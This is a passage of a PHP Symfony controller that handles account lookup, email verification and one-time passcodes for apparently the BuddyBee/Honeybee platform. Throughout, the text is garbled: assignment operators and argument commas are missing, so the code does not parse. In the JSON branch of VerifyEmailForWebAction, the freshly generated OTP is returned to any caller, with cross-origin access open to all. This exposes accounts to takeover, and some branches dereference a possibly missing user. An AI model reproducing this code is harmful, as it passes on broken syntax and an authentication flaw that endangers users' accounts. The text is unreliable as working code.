  8381.                     'success' => isset($email_twig_data['success']) ? $email_twig_data['success'] : false,
  8382.                 )
  8383.             );
  8384.             $response->headers->set('Access-Control-Allow-Origin''*');
  8385.             return $response;
  8386.         } else {
  8387.             return $this->render(
  8388.                 $twig_file,
  8389.                 $twigData
  8390.             );
  8391.         }
  8392.     }
  8393.     public function VerifyEmailForWebAction(Request $request$encData ''$remoteVerify 0)
  8394.     {
  8395. //        $userCategory=$request->request->has('userCategory');
  8396.         $encryptedData = [];
  8397.         $errorField '';
  8398.         $message '';
  8399.         $userType '';
  8400.         $otpExpireSecond 180;
  8401.         $otpExpireTs 0;
  8402.         $otp '';
  8403.         if ($encData != '')
  8404.             $encryptedData json_decode($this->get('url_encryptor')->decrypt($encData), true);
  8405. //        $encryptedData = $this->get('url_encryptor')->decrypt($encData);
  8406.         $userCategory '_BUDDYBEE_USER_';
  8407.         if (isset($encryptedData['userCategory']))
  8408.             $userCategory $encryptedData['userCategory'];
  8409.         else
  8410.             $userCategory $request->request->get('userCategory''_BUDDYBEE_USER_');
  8411.         $em $this->getDoctrine()->getManager('company_group');
  8412.         $em_goc $this->getDoctrine()->getManager('company_group');
  8413.         $systemType $this->container->hasParameter('system_type') ? $this->container->getParameter('system_type') : '_ERP_';
  8414.         $ownServerId $this->container->hasParameter('server_id') ? $this->container->getParameter('server_id') : '_NONE_';
  8415.         $twig_file '@Authentication/pages/views/find_account_buddybee.html.twig';
  8416.         $twigData = [];
  8417.         $email_twig_file '@Application/pages/email/find_account_buddybee.html.twig';
  8418.         $email_address $request->request->get('email''');
  8419.         $email_twig_data = [];
  8420.         $appendCode $request->request->get('appendCode'$request->query->get('appendCode'''));
  8421.         if ($request->isMethod('POST')) {
  8422.             //set an otp and its expire and send mail
  8423.             $email_address $request->request->get('email');
  8424.             $userObj null;
  8425.             $userData = [];
  8426.             if ($systemType == '_ERP_') {
  8427.                 if ($userCategory == '_APPLICANT_') {
  8428.                     $userType UserConstants::USER_TYPE_APPLICANT;
  8429.                     $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8430.                         array(
  8431.                             'email' => $email_address
  8432.                         )
  8433.                     );
  8434.                     if ($userObj) {
  8435.                     } else {
  8436.                         $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8437.                             array(
  8438.                                 'oAuthEmail' => $email_address
  8439.                             )
  8440.                         );
  8441.                         if ($userObj) {
  8442.                         } else {
  8443.                             $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8444.                                 array(
  8445.                                     'username' => $email_address
  8446.                                 )
  8447.                             );
  8448.                         }
  8449.                     }
  8450.                     if ($userObj) {
  8451.                         $email_address $userObj->getEmail();
  8452.                         if ($email_address == null || $email_address == '')
  8453.                             $email_address $userObj->getOAuthEmail();
  8454.                     }
  8455. //                    triggerResetPassword:
  8456. //                    type: integer
  8457. //                          nullable: true
  8458.                     $otpData MiscActions::GenerateOtp($otpExpireSecond);
  8459.                     $otp $otpData['otp'];
  8460.                     $otpExpireTs $otpData['expireTs'];
  8461.                     $userObj->setOtp($otpData['otp']);
  8462.                     $userObj->setOtpActionId(UserConstants::OTP_ACTION_CONFIRM_EMAIL);
  8463.                     $userObj->setOtpExpireTs($otpData['expireTs']);
  8464.                     $em_goc->flush();
  8465.                     $userData = array(
  8466.                         'id' => $userObj->getApplicantId(),
  8467.                         'email' => $email_address,
  8468.                         'appId' => 0,
  8469. //                        'appId'=>$userObj->getUserAppId(),
  8470.                     );
  8471.                     $email_twig_file '@Application/email/templates/forgotPasswordOtp.html.twig';
  8472.                     $email_twig_data = [
  8473.                         'page_title' => 'Find Account',
  8474.                         'encryptedData' => $encryptedData,
  8475.                         'message' => $message,
  8476.                         'userType' => $userType,
  8477.                         'errorField' => $errorField,
  8478.                         'otp' => $otpData['otp'],
  8479.                         'otpExpireSecond' => $otpExpireSecond,
  8480.                         'otpActionId' => UserConstants::OTP_ACTION_CONFIRM_EMAIL,
  8481.                         'otpExpireTs' => $otpData['expireTs'],
  8482.                         'systemType' => $systemType,
  8483.                         'userData' => $userData
  8484.                     ];
  8485.                     if ($userObj)
  8486.                         $email_twig_data['success'] = true;
  8487.                 } else {
  8488.                     $userType UserConstants::USER_TYPE_GENERAL;
  8489.                     $email_twig_file '@Application/email/templates/forgotPasswordOtp.html.twig';
  8490.                     $email_twig_data = [
  8491.                         'page_title' => 'Find Account',
  8492.                         'encryptedData' => $encryptedData,
  8493.                         'message' => $message,
  8494.                         'userType' => $userType,
  8495.                         'errorField' => $errorField,
  8496.                     ];
  8497.                 }
  8498.             } else if ($systemType == '_CENTRAL_') {
  8499.                 $userType UserConstants::USER_TYPE_APPLICANT;
  8500.                 $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8501.                     array(
  8502.                         'email' => $email_address
  8503.                     )
  8504.                 );
  8505.                 if ($userObj) {
  8506.                 } else {
  8507.                     $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8508.                         array(
  8509.                             'oAuthEmail' => $email_address
  8510.                         )
  8511.                     );
  8512.                     if ($userObj) {
  8513.                     } else {
  8514.                         $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8515.                             array(
  8516.                                 'username' => $email_address
  8517.                             )
  8518.                         );
  8519.                     }
  8520.                 }
  8521.                 if ($userObj) {
  8522.                     $email_address $userObj->getEmail();
  8523.                     if ($email_address == null || $email_address == '')
  8524.                         $email_address $userObj->getOAuthEmail();
  8525.                     //                    triggerResetPassword:
  8526. //                    type: integer
  8527. //                          nullable: true
  8528.                     $otpData MiscActions::GenerateOtp($otpExpireSecond);
  8529.                     $otp $otpData['otp'];
  8530.                     $otpExpireTs $otpData['expireTs'];
  8531.                     $userObj->setOtp($otpData['otp']);
  8532.                     $userObj->setOtpActionId(UserConstants::OTP_ACTION_CONFIRM_EMAIL);
  8533.                     $userObj->setOtpExpireTs($otpData['expireTs']);
  8534.                     $em_goc->flush();
  8535.                     $userData = array(
  8536.                         'id' => $userObj->getApplicantId(),
  8537.                         'email' => $email_address,
  8538.                         'appId' => 0,
  8539.                         'image' => $userObj->getImage(),
  8540.                         'firstName' => $userObj->getFirstname(),
  8541.                         'lastName' => $userObj->getLastname(),
  8542.                         'phone' => $userObj->getPhone(),
  8543. //                        'appId'=>$userObj->getUserAppId(),
  8544.                     );
  8545.                     $email_twig_file '@Application/email/templates/forgotPasswordOtp.html.twig';
  8546.                     $email_twig_data = [
  8547.                         'page_title' => 'Find Account',
  8548.                         'encryptedData' => $encryptedData,
  8549.                         'message' => $message,
  8550.                         'userType' => $userType,
  8551.                         'errorField' => $errorField,
  8552.                         'otp' => $otpData['otp'],
  8553.                         'otpExpireSecond' => $otpExpireSecond,
  8554.                         'otpActionId' => UserConstants::OTP_ACTION_CONFIRM_EMAIL,
  8555.                         'otpActionTitle' => UserConstants::$OTP_ACTION_DATA[UserConstants::OTP_ACTION_CONFIRM_EMAIL]['actionTitle'],
  8556.                         'otpActionDescForMail' => UserConstants::$OTP_ACTION_DATA[UserConstants::OTP_ACTION_CONFIRM_EMAIL]['actionDescForMail'],
  8557.                         'otpExpireTs' => $otpData['expireTs'],
  8558.                         'systemType' => $systemType,
  8559.                         'userCategory' => $userCategory,
  8560.                         'userData' => $userData
  8561.                     ];
  8562.                     $email_twig_data['success'] = true;
  8563.                 } else {
  8564.                     $message "Oops! Could not find your account";
  8565.                     $email_twig_data['success'] = false;
  8566.                 }
  8567.             } else if ($systemType == '_BUDDYBEE_') {
  8568.                 $userType UserConstants::USER_TYPE_APPLICANT;
  8569.                 $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8570.                     array(
  8571.                         'email' => $email_address
  8572.                     )
  8573.                 );
  8574.                 if ($userObj) {
  8575.                 } else {
  8576.                     $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8577.                         array(
  8578.                             'oAuthEmail' => $email_address
  8579.                         )
  8580.                     );
  8581.                     if ($userObj) {
  8582.                     } else {
  8583.                         $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8584.                             array(
  8585.                                 'username' => $email_address
  8586.                             )
  8587.                         );
  8588.                     }
  8589.                 }
  8590.                 if ($userObj) {
  8591.                     $email_address $userObj->getEmail();
  8592.                     if ($email_address == null || $email_address == '')
  8593.                         $email_address $userObj->getOAuthEmail();
  8594.                     //                    triggerResetPassword:
  8595. //                    type: integer
  8596. //                          nullable: true
  8597.                     $otpData MiscActions::GenerateOtp($otpExpireSecond);
  8598.                     $otp $otpData['otp'];
  8599.                     $otpExpireTs $otpData['expireTs'];
  8600.                     $userObj->setOtp($otpData['otp']);
  8601.                     $userObj->setOtpActionId(UserConstants::OTP_ACTION_FORGOT_PASSWORD);
  8602.                     $userObj->setOtpExpireTs($otpData['expireTs']);
  8603.                     $em_goc->flush();
  8604.                     $userData = array(
  8605.                         'id' => $userObj->getApplicantId(),
  8606.                         'email' => $email_address,
  8607.                         'appId' => 0,
  8608.                         'image' => $userObj->getImage(),
  8609.                         'firstName' => $userObj->getFirstname(),
  8610.                         'lastName' => $userObj->getLastname(),
  8611.                         'phone' => $userObj->getPhone(),
  8612. //                        'appId'=>$userObj->getUserAppId(),
  8613.                     );
  8614.                     $email_twig_file '@Application/email/templates/forgotPasswordOtp.html.twig';
  8615.                     $email_twig_data = [
  8616.                         'page_title' => 'Find Account',
  8617.                         'encryptedData' => $encryptedData,
  8618.                         'message' => $message,
  8619.                         'userType' => $userType,
  8620.                         'errorField' => $errorField,
  8621.                         'otp' => $otpData['otp'],
  8622.                         'otpExpireSecond' => $otpExpireSecond,
  8623.                         'otpActionId' => UserConstants::OTP_ACTION_FORGOT_PASSWORD,
  8624.                         'otpActionTitle' => UserConstants::$OTP_ACTION_DATA[UserConstants::OTP_ACTION_FORGOT_PASSWORD]['actionTitle'],
  8625.                         'otpActionDescForMail' => UserConstants::$OTP_ACTION_DATA[UserConstants::OTP_ACTION_FORGOT_PASSWORD]['actionDescForMail'],
  8626.                         'otpExpireTs' => $otpData['expireTs'],
  8627.                         'systemType' => $systemType,
  8628.                         'userCategory' => $userCategory,
  8629.                         'userData' => $userData
  8630.                     ];
  8631.                     $email_twig_data['success'] = true;
  8632.                 } else {
  8633.                     $message "Oops! Could not find your account";
  8634.                     $email_twig_data['success'] = false;
  8635.                 }
  8636.             }
  8637.             if ($email_twig_data['success'] == true && GeneralConstant::EMAIL_ENABLED == 1) {
  8638.                 if ($systemType == '_BUDDYBEE_') {
  8639.                     $bodyHtml '';
  8640.                     $bodyTemplate $email_twig_file;
  8641.                     $bodyData $email_twig_data;
  8642.                     $attachments = [];
  8643.                     $forwardToMailAddress $email_address;
  8644. //                    $upl_dir = $this->container->getParameter('kernel.root_dir') . '/../web/uploads/temp/' . 'ledger' . '.pdf'
  8645.                     $new_mail $this->get('mail_module');
  8646.                     $new_mail->sendMyMail(array(
  8647.                         'senderHash' => '_CUSTOM_',
  8648.                         //                        'senderHash'=>'_CUSTOM_',
  8649.                         'forwardToMailAddress' => $forwardToMailAddress,
  8650.                         'subject' => 'Account Verification',
  8651. //                        'fileName' => 'Order#' . str_pad($id, 8, '0', STR_PAD_LEFT) . '.pdf',
  8652.                         'attachments' => $attachments,
  8653.                         'toAddress' => $forwardToMailAddress,
  8654.                         'fromAddress' => \ApplicationBundle\Helper\MailerConfig::address(),
  8655.                         'userName' => \ApplicationBundle\Helper\MailerConfig::address(),
  8656.                         'password' => \ApplicationBundle\Helper\MailerConfig::buddybeePassword(),
  8657.                         'smtpServer' => \ApplicationBundle\Helper\MailerConfig::host(),
  8658.                         'smtpPort' => \ApplicationBundle\Helper\MailerConfig::port(),
  8659. //                            'emailBody' => $bodyHtml,
  8660.                         'mailTemplate' => $bodyTemplate,
  8661.                         'templateData' => $bodyData,
  8662. //                        'embedCompanyImage' => 1,
  8663. //                        'companyId' => $companyId,
  8664. //                        'companyImagePath' => $company_data->getImage()
  8665.                     ));
  8666.                 } else if ($systemType == '_CENTRAL_') {
  8667.                     $bodyHtml '';
  8668.                     $bodyTemplate $email_twig_file;
  8669.                     $bodyData $email_twig_data;
  8670.                     $attachments = [];
  8671.                     $forwardToMailAddress $email_address;
  8672. //                    $upl_dir = $this->container->getParameter('kernel.root_dir') . '/../web/uploads/temp/' . 'ledger' . '.pdf'
  8673.                     $new_mail $this->get('mail_module');
  8674.                     $new_mail->sendMyMail(array(
  8675.                         'senderHash' => '_CUSTOM_',
  8676.                         //                        'senderHash'=>'_CUSTOM_',
  8677.                         'forwardToMailAddress' => $forwardToMailAddress,
  8678.                         'subject' => 'Account Verification',
  8679. //                        'fileName' => 'Order#' . str_pad($id, 8, '0', STR_PAD_LEFT) . '.pdf',
  8680.                         'attachments' => $attachments,
  8681.                         'toAddress' => $forwardToMailAddress,
  8682.                         'fromAddress' => 'accounts@ourhoneybee.eu',
  8683.                         'userName' => 'accounts@ourhoneybee.eu',
  8684.                         'password' => \ApplicationBundle\Helper\MailerConfig::buddybeePassword(),
  8685.                         'smtpServer' => \ApplicationBundle\Helper\MailerConfig::host(),
  8686.                         'smtpPort' => \ApplicationBundle\Helper\MailerConfig::port(),
  8687. //                            'emailBody' => $bodyHtml,
  8688.                         'mailTemplate' => $bodyTemplate,
  8689.                         'templateData' => $bodyData,
  8690. //                        'embedCompanyImage' => 1,
  8691. //                        'companyId' => $companyId,
  8692. //                        'companyImagePath' => $company_data->getImage()
  8693.                     ));
  8694.                 } else {
  8695.                     $bodyHtml '';
  8696.                     $bodyTemplate $email_twig_file;
  8697.                     $bodyData $email_twig_data;
  8698.                     $attachments = [];
  8699.                     $forwardToMailAddress $email_address;
  8700. //                    $upl_dir = $this->container->getParameter('kernel.root_dir') . '/../web/uploads/temp/' . 'ledger' . '.pdf'
  8701.                     $new_mail $this->get('mail_module');
  8702.                     $new_mail->sendMyMail(array(
  8703.                         'senderHash' => '_CUSTOM_',
  8704.                         //                        'senderHash'=>'_CUSTOM_',
  8705.                         'forwardToMailAddress' => $forwardToMailAddress,
  8706.                         'subject' => 'Applicant Registration on Honeybee',
  8707. //                        'fileName' => 'Order#' . str_pad($id, 8, '0', STR_PAD_LEFT) . '.pdf',
  8708.                         'attachments' => $attachments,
  8709.                         'toAddress' => $forwardToMailAddress,
  8710.                         'fromAddress' => 'accounts@ourhoneybee.eu',
  8711.                         'userName' => 'accounts@ourhoneybee.eu',
  8712.                         'password' => \ApplicationBundle\Helper\MailerConfig::buddybeePassword(),
  8713.                         'smtpServer' => \ApplicationBundle\Helper\MailerConfig::host(),
  8714.                         'smtpPort' => \ApplicationBundle\Helper\MailerConfig::port(),
  8715.                         'emailBody' => $bodyHtml,
  8716.                         'mailTemplate' => $bodyTemplate,
  8717.                         'templateData' => $bodyData,
  8718. //                        'embedCompanyImage' => 1,
  8719. //                        'companyId' => $companyId,
  8720. //                        'companyImagePath' => $company_data->getImage()
  8721.                     ));
  8722.                 }
  8723.             }
  8724.             if ($email_twig_data['success'] == true && GeneralConstant::NOTIFICATION_ENABLED == && $userData['phone'] != '' && $userData['phone'] != null) {
  8725.                 if ($systemType == '_BUDDYBEE_') {
  8726.                     $searchVal = ['_OTP_''_EXPIRE_MINUTES_''_APPEND_CODE_'];
  8727.                     $replaceVal = [$otpfloor($otpExpireSecond 60), $appendCode];
  8728.                     $msg 'Use OTP _OTP_ for BuddyBee. Your OTP will expire in _EXPIRE_MINUTES_ minutes
  8729.                      _APPEND_CODE_';
  8730.                     $msg str_replace($searchVal$replaceVal$msg);
  8731.                     $emitMarker '_SEND_TEXT_TO_MOBILE_';
  8732.                     $sendType 'all';
  8733.                     $socketUserIds = [];
  8734.                     System::SendSmsBySocket($this->container->getParameter('notification_enabled'), $msg$userData['phone'], $emitMarker$sendType$socketUserIds);
  8735.                 } else {
  8736.                 }
  8737.             }
  8738.             if ($request->request->has('remoteVerify') || $request->request->has('returnJson') || $request->query->has('returnJson')) {
  8739.                 $response = new JsonResponse(array(
  8740.                         'templateData' => $twigData,
  8741.                         'message' => $message,
  8742. //                        "otp"=>'',
  8743.                         "otp" => $otp,
  8744.                         "otpExpireTs" => $otpExpireTs,
  8745.                         'actionData' => $email_twig_data,
  8746.                         'success' => isset($email_twig_data['success']) ? $email_twig_data['success'] : false,
  8747.                     )
  8748.                 );
  8749.                 $response->headers->set('Access-Control-Allow-Origin''*');
  8750.                 return $response;
  8751.             } else if ($email_twig_data['success'] == true) {
  8752.                 $encData = array(
  8753.                     "userType" => $userType,
  8754.                     "otp" => '',
  8755. //                "otp"=>$otp,
  8756.                     "otpExpireTs" => $otpExpireTs,
  8757.                     "otpActionId" => UserConstants::OTP_ACTION_CONFIRM_EMAIL,
  8758.                     "userCategory" => $userCategory,
  8759.                     "userId" => $userData['id'],
  8760.                     "systemType" => $systemType,
  8761.                     "email" => $email_address,
  8762.                 );
  8763.                 $encDataStr $this->get('url_encryptor')->encrypt(json_encode($encData));
  8764.                 $url $this->generateUrl(
  8765.                     'verify_otp'
  8766.                 );
  8767.                 return $this->redirect($url "/" $encDataStr);
  8768. //                return $this->redirectToRoute("verify_otp_forgot_password",[
  8769. ////                    'encData'
  8770. ////                'id' => $isApplicantExist->getApplicantId(),
  8771. ////                'oAuthData' => $oAuthData,
  8772. ////                'refRoute' => $refRoute,
  8773. //                ]);
  8774.             }
  8775.         }
  8776.         if ($systemType == '_ERP_') {
  8777.             if ($userCategory == '_APPLICANT_') {
  8778.                 $userType UserConstants::USER_TYPE_APPLICANT;
  8779.                 $twig_file '@Authentication/pages/views/find_account_buddybee.html.twig';
  8780.                 $twigData = [
  8781.                     'page_title' => 'Find Account',
  8782.                     'encryptedData' => $encryptedData,
  8783.                     'message' => $message,
  8784.                     'systemType' => $systemType,
  8785.                     'ownServerId' => $ownServerId,
  8786.                     'userType' => $userType,
  8787.                     'errorField' => $errorField,
  8788.                 ];
  8789.             } else {
  8790.                 $userType UserConstants::USER_TYPE_GENERAL;
  8791.                 $twig_file '@Authentication/pages/views/find_account_buddybee.html.twig';
  8792.                 $twigData = [
  8793.                     'page_title' => 'Find Account',
  8794.                     'encryptedData' => $encryptedData,
  8795.                     'systemType' => $systemType,
  8796.                     'ownServerId' => $ownServerId,
  8797.                     'message' => $message,
  8798.                     'userType' => $userType,
  8799.                     'errorField' => $errorField,
  8800.                 ];
  8801.             }
  8802.         } else if ($systemType == '_SOPHIA_') {
  8803.             $userType UserConstants::USER_TYPE_APPLICANT;
  8804.             $twig_file '@Sophia/pages/views/sophia_verify_email.html.twig';
  8805.             $twigData = [
  8806.                 'page_title' => 'Find Account',
  8807.                 'encryptedData' => $encryptedData,
  8808.                 'systemType' => $systemType,
  8809.                 'ownServerId' => $ownServerId,
  8810.                 "otp" => '',
  8811. //                "otp"=>$otp,
  8812.                 "otpExpireTs" => $otpExpireTs,
  8813.                 'message' => $message,
  8814.                 'userType' => $userType,
  8815.                 'errorField' => $errorField,
  8816.             ];
  8817.         } else if ($systemType == '_CENTRAL_') {
  8818.             $userType UserConstants::USER_TYPE_APPLICANT;
  8819.             $twig_file '@HoneybeeWeb/pages/verify_email.html.twig';
  8820.             $twigData = [
  8821.                 'page_title' => 'Find Account',
  8822.                 'encryptedData' => $encryptedData,
  8823.                 'systemType' => $systemType,
  8824.                 'ownServerId' => $ownServerId,
  8825.                 "otp" => '',
  8826. //                "otp"=>$otp,
  8827.                 "otpExpireTs" => $otpExpireTs,
  8828.                 'message' => $message,
  8829.                 'userType' => $userType,
  8830.                 'errorField' => $errorField,
  8831.             ];
  8832.         } else if ($systemType == '_BUDDYBEE_') {
  8833.             $userType UserConstants::USER_TYPE_APPLICANT;
  8834.             $twig_file '@Authentication/pages/views/find_account_buddybee.html.twig';
  8835.             $twigData = [
  8836.                 'page_title' => 'Find Account',
  8837.                 'encryptedData' => $encryptedData,
  8838.                 "otp" => '',
  8839.                 'systemType' => $systemType,
  8840.                 'ownServerId' => $ownServerId,
  8841. //                "otp"=>$otp,
  8842.                 "otpExpireTs" => $otpExpireTs,
  8843.                 'message' => $message,
  8844.                 'userType' => $userType,
  8845.                 'errorField' => $errorField,
  8846.             ];
  8847.         }
  8848.         if ($request->request->has('remoteVerify') || $request->request->has('returnJson') || $request->query->has('returnJson')) {
  8849.             $response = new JsonResponse(array(
  8850.                     'templateData' => $twigData,
  8851.                     'message' => $message,
  8852.                     "otp" => '',
  8853. //                "otp"=>$otp,
  8854.                     "otpExpireTs" => $otpExpireTs,
  8855.                     'actionData' => $email_twig_data,
  8856.                     'success' => isset($email_twig_data['success']) ? $email_twig_data['success'] : false,
  8857.                 )
  8858.             );
  8859.             $response->headers->set('Access-Control-Allow-Origin''*');
  8860.             return $response;
  8861.         } else {
  8862.             return $this->render(
  8863.                 $twig_file,
  8864.                 $twigData
  8865.             );
  8866.         }
  8867.     }
  8868.     public function FindAccountForAppAction(Request $request$encData ''$remoteVerify 0)
  8869.     {
  8870. //        $userCategory=$request->request->has('userCategory');
  8871.         $encryptedData = [];
  8872.         $errorField '';
  8873.         $message '';
  8874.         $userType '';
  8875.         $otpExpireSecond 180;
  8876.         $otpExpireTs 0;
  8877.         $otp '';
  8878.         if ($encData != '')
  8879.             $encryptedData json_decode($this->get('url_encryptor')->decrypt($encData), true);
  8880. //        $encryptedData = $this->get('url_encryptor')->decrypt($encData);
  8881.         $userCategory '_BUDDYBEE_USER_';
  8882.         if (isset($encryptedData['userCategory']))
  8883.             $userCategory $encryptedData['userCategory'];
  8884.         else
  8885.             $userCategory $request->request->get('userCategory''_BUDDYBEE_USER_');
  8886.         $em $this->getDoctrine()->getManager('company_group');
  8887.         $em_goc $this->getDoctrine()->getManager('company_group');
  8888.         $systemType $this->container->hasParameter('system_type') ? $this->container->getParameter('system_type') : '_ERP_';
  8889.         $ownServerId $this->container->hasParameter('server_id') ? $this->container->getParameter('server_id') : '_NONE_';
  8890.         $twig_file '@Authentication/pages/views/find_account_buddybee.html.twig';
  8891.         $twigData = [];
  8892.         $email_twig_file '@Application/pages/email/find_account_buddybee.html.twig';
  8893.         $email_address $request->request->get('email''');
  8894.         $email_twig_data = [];
  8895.         $appendCode $request->request->get('appendCode'$request->query->get('appendCode'''));
  8896.         if ($request->isMethod('POST')) {
  8897.             //set an otp and its expire and send mail
  8898.             $email_address $request->request->get('email');
  8899.             $userObj null;
  8900.             $userData = [];
  8901.             if ($systemType == '_ERP_') {
  8902.                 if ($userCategory == '_APPLICANT_') {
  8903.                     $userType UserConstants::USER_TYPE_APPLICANT;
  8904.                     $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8905.                         array(
  8906.                             'email' => $email_address
  8907.                         )
  8908.                     );
  8909.                     if ($userObj) {
  8910.                     } else {
  8911.                         $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8912.                             array(
  8913.                                 'oAuthEmail' => $email_address
  8914.                             )
  8915.                         );
  8916.                         if ($userObj) {
  8917.                         } else {
  8918.                             $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8919.                                 array(
  8920.                                     'username' => $email_address
  8921.                                 )
  8922.                             );
  8923.                         }
  8924.                     }
  8925.                     if ($userObj) {
  8926.                         $email_address $userObj->getEmail();
  8927.                         if ($email_address == null || $email_address == '')
  8928.                             $email_address $userObj->getOAuthEmail();
  8929.                     }
  8930. //                    triggerResetPassword:
  8931. //                    type: integer
  8932. //                          nullable: true
  8933.                     $otpData MiscActions::GenerateOtp($otpExpireSecond);
  8934.                     $otp $otpData['otp'];
  8935.                     $otpExpireTs $otpData['expireTs'];
  8936.                     $userObj->setOtp($otpData['otp']);
  8937.                     $userObj->setOtpActionId(UserConstants::OTP_ACTION_FORGOT_PASSWORD);
  8938.                     $userObj->setOtpExpireTs($otpData['expireTs']);
  8939.                     $em_goc->flush();
  8940.                     $userData = array(
  8941.                         'id' => $userObj->getApplicantId(),
  8942.                         'email' => $email_address,
  8943.                         'appId' => 0,
  8944. //                        'appId'=>$userObj->getUserAppId(),
  8945.                     );
  8946.                     $email_twig_file '@Application/email/templates/forgotPasswordOtp.html.twig';
  8947.                     $email_twig_data = [
  8948.                         'page_title' => 'Find Account',
  8949.                         'encryptedData' => $encryptedData,
  8950.                         'message' => $message,
  8951.                         'userType' => $userType,
  8952.                         'errorField' => $errorField,
  8953.                         'otp' => $otpData['otp'],
  8954.                         'otpExpireSecond' => $otpExpireSecond,
  8955.                         'otpActionId' => UserConstants::OTP_ACTION_FORGOT_PASSWORD,
  8956.                         'otpExpireTs' => $otpData['expireTs'],
  8957.                         'systemType' => $systemType,
  8958.                         'userData' => $userData
  8959.                     ];
  8960.                     if ($userObj)
  8961.                         $email_twig_data['success'] = true;
  8962.                 } else {
  8963.                     $userType UserConstants::USER_TYPE_GENERAL;
  8964.                     $email_twig_file '@Application/email/templates/forgotPasswordOtp.html.twig';
  8965.                     $email_twig_data = [
  8966.                         'page_title' => 'Find Account',
  8967.                         'encryptedData' => $encryptedData,
  8968.                         'message' => $message,
  8969.                         'userType' => $userType,
  8970.                         'errorField' => $errorField,
  8971.                     ];
  8972.                 }
  8973.             } else if ($systemType == '_CENTRAL_') {
  8974.                 $userType UserConstants::USER_TYPE_APPLICANT;
  8975.                 $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8976.                     array(
  8977.                         'email' => $email_address
  8978.                     )
  8979.                 );
  8980.                 if ($userObj) {
  8981.                 } else {
  8982.                     $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8983.                         array(
  8984.                             'oAuthEmail' => $email_address
  8985.                         )
  8986.                     );
  8987.                     if ($userObj) {
  8988.                     } else {
  8989.                         $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8990.                             array(
  8991.                                 'username' => $email_address
  8992.                             )
  8993.                         );
  8994.                     }
  8995.                 }
  8996.                 if ($userObj) {
  8997.                     $email_address $userObj->getEmail();
  8998.                     if ($email_address == null || $email_address == '')
  8999.                         $email_address $userObj->getOAuthEmail();
  9000.                     //                    triggerResetPassword:
  9001. //                    type: integer
  9002. //                          nullable: true
  9003.                     $otpData MiscActions::GenerateOtp($otpExpireSecond);
  9004.                     $otp $otpData['otp'];
  9005.                     $otpExpireTs $otpData['expireTs'];
  9006.                     $userObj->setOtp($otpData['otp']);
  9007.                     $userObj->setOtpActionId(UserConstants::OTP_ACTION_FORGOT_PASSWORD);
  9008.                     $userObj->setOtpExpireTs($otpData['expireTs']);
  9009.                     $em_goc->flush();
  9010.                     $userData = array(
  9011.                         'id' => $userObj->getApplicantId(),
  9012.                         'email' => $email_address,
  9013.                         'appId' => 0,
  9014.                         'image' => $userObj->getImage(),
  9015.                         'firstName' => $userObj->getFirstname(),
  9016.                         'lastName' => $userObj->getLastname(),
  9017.                         'phone' => $userObj->getPhone(),
  9018. //                        'appId'=>$userObj->getUserAppId(),
  9019.                     );
  9020.                     $email_twig_file '@Application/email/templates/forgotPasswordOtp.html.twig';
  9021.                     $email_twig_data = [
  9022.                         'page_title' => 'Find Account',
  9023.                         'encryptedData' => $encryptedData,
  9024.                         'message' => $message,
  9025.                         'userType' => $userType,
  9026.                         'errorField' => $errorField,
  9027.                         'otp' => $otpData['otp'],
  9028.                         'otpExpireSecond' => $otpExpireSecond,
  9029.                         'otpActionId' => UserConstants::OTP_ACTION_FORGOT_PASSWORD,
  9030.                         'otpActionTitle' => UserConstants::$OTP_ACTION_DATA[UserConstants::OTP_ACTION_FORGOT_PASSWORD]['actionTitle'],
  9031.                         'otpActionDescForMail' => UserConstants::$OTP_ACTION_DATA[UserConstants::OTP_ACTION_FORGOT_PASSWORD]['actionDescForMail'],
  9032.                         'otpExpireTs' => $otpData['expireTs'],
  9033.                         'systemType' => $systemType,
  9034.                         'userCategory' => $userCategory,
  9035.                         'userData' => $userData
  9036.                     ];
  9037.                     $email_twig_data['success'] = true;
  9038.                 } else {
  9039.                     $message "Oops! Could not find your account";
  9040.                     $email_twig_data['success'] = false;
  9041.                 }
  9042.             }
  9043.             if ($email_twig_data['success'] == true && GeneralConstant::EMAIL_ENABLED == 1) {
  9044.                 if ($systemType == '_CENTRAL_') {
  9045.                     $bodyHtml '';
  9046.                     $bodyTemplate $email_twig_file;
  9047.                     $bodyData $email_twig_data;
  9048.                     $attachments = [];
  9049.                     $forwardToMailAddress $email_address;
  9050. //                    $upl_dir = $this->container->getParameter('kernel.root_dir') . '/../web/uploads/temp/' . 'ledger' . '.pdf'
  9051.                     $new_mail $this->get('mail_module');
  9052.                     $new_mail->sendMyMail(array(
  9053.                         'senderHash' => '_CUSTOM_',
  9054.                         //                        'senderHash'=>'_CUSTOM_',
  9055.                         'forwardToMailAddress' => $forwardToMailAddress,
  9056.                         'subject' => 'Account Verification',
  9057. //                        'fileName' => 'Order#' . str_pad($id, 8, '0', STR_PAD_LEFT) . '.pdf',
  9058.                         'attachments' => $attachments,
  9059.                         'toAddress' => $forwardToMailAddress,
  9060.                         'fromAddress' => 'accounts@ourhoneybee.eu',
  9061.                         'userName' => 'accounts@ourhoneybee.eu',
  9062.                         'password' => \ApplicationBundle\Helper\MailerConfig::buddybeePassword(),
  9063.                         'smtpServer' => \ApplicationBundle\Helper\MailerConfig::host(),
